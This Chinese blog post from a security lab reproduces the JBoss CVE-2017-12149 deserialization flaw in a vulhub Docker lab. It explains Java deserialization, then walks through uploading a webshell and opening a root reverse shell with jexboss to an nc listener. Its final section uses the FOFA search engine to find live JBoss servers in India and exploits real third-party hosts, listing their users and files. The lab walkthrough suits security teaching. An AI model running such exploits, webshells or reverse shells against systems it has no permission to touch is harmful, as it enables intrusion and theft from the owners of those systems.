红日攻防实验室

红日攻防实验室



VulHub - 渗透测试案例(六)

timg.jpg

JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)

JBossJMXInvokerServlet 反序列化漏洞

0x01

JBoss 5.x6.x 反序列化漏洞复现
1.启动docker 镜像
docker基于Centos7已搭建完成。

拉取项目git clone https://github.com/vulhub/vulhub.git

进入镜像:cd vulhub/jboss/CVE-2017-12149/

启动环境:docker-compose
up -d

访问http://192.168.*.*:8080/打开Jboss页面:

  1. 理解Java 反序列化漏洞

推荐学习Paper:Java反序列化漏洞从入门到深入:https://xz.aliyun.com/t/2041。内容较多,先了解简单Java语法结构和面向对象编程基础,再学习序列化、反序列化的基本概念和漏洞成因。

(1)序列化:把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中。ObjectOutputStream类的writeObject()方法可以实现序列化。

(2)反序列化:把字节序列恢复为Java对象的过程。ObjectInputStream类的readObject()方法用于反序列化。

(3)漏洞成因:暴露反序列化API或传入点 ,用户可以操作传入数据,并且反序列化的readObject()方法未对用户传入数据进行有效的安全检测,攻击者可以精心构造反序列化对象并执行恶意代码。

3.使用工具复现漏洞

(1)图形工具党:使用6哥的Java反序列化利用工具。

A.工具一键测试:

JBoss 5.x6.x 反序列化漏洞(CVE-2017-12149)14.png

B.找到自动部署目录:先在文件管理中,找到可以自动部署的目录,shell上传的目录是:

/jboss-6.1.0.Final/server/default/deploy/ROOT.war/caidao.jsp

JBoss 5.x6.x 反序列化漏洞(CVE-2017-12149)16.png

C.上传菜刀马:

JBoss 5.x6.x 反序列化漏洞(CVE-2017-12149)15.png

D.菜刀连接成功:

JBoss 5.x6.x 反序列化漏洞(CVE-2017-12149)17.png

(2)py脚本党:使用jexboss工具反弹shell

A. Jexboss工具下载:https://github.com/joaomatosf/jexboss

Windows下使用需先安装Py2.7、pip,再安装git Windows版。Linux使用更简单,安装Python,直接Git clone。以下是Linux下使用:

git clone https://github.com/joaomatosf/jexboss.git

cd jexboss

pip install -rrequires.txt

至此已经安装好了。

B.利用漏洞反弹shell,本次实验将Linux虚机反弹shell到Windows主机的nc监听端口:

先用nc在本机起个监听端口:

nc -lvnp 4444

说明: C:UsersAdministratorDesktop8.png

C.执行攻击命令,检测到存在漏洞:

python jexboss.py -host http://192.168.64.151:8080

说明: C:UsersAdministratorDesktop9.png

D.后面是交互式选择,是否有admin-console权限,选择默认NO;

Exploitation JMXInvokerServlet选择yes:

说明: C:UsersAdministratorDesktop10.png

E.选择反弹shell的主机IP和接收端口

说明: C:UsersAdministratorDesktop11.png

F.在Windows主机监听的nc接收反弹shell成功:root权限

说明: C:UsersAdministratorDesktop13.png

(3)专业的Java反序列化工具ysoserial:攻击需要构造带有需要执行Payload的ser文件,然后使用curl将二进制文件提交至目标服务器的invoker/readonly页面中。详见https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149

0x02 通过fofa搜索实际漏洞

1.用邮箱注册https://fofa.so/ (类似于www.shodan.io)

2.搜索:位于印度的、并且header包含jboss的、并且端口是8080的资产

(1)命令:port=8080 &&header=jboss && country=IN

命令中的3个搜索条件是“与”的关系:

JBoss 5.x6.x 反序列化漏洞(CVE-2017-12149)2100.png

语法规则详见fofa的查询语法,搜索结果如下:

JBoss 5.x6.x 反序列化漏洞(CVE-2017-12149)2101.png

(2)找到一些jboss的IP,直接使用图形工具exp测试:

存在漏洞的主机,获取信息:

JBoss 5.x6.x 反序列化漏洞(CVE-2017-12149)2103.png

列出windows用户:命令net user

JBoss 5.x6.x 反序列化漏洞(CVE-2017-12149)2104.png

查看目录和文件:

JBoss 5.x6.x 反序列化漏洞(CVE-2017-12149)2105.png

 标签: none

作者  :  redBu11



关于我

about me

redBu11

联系我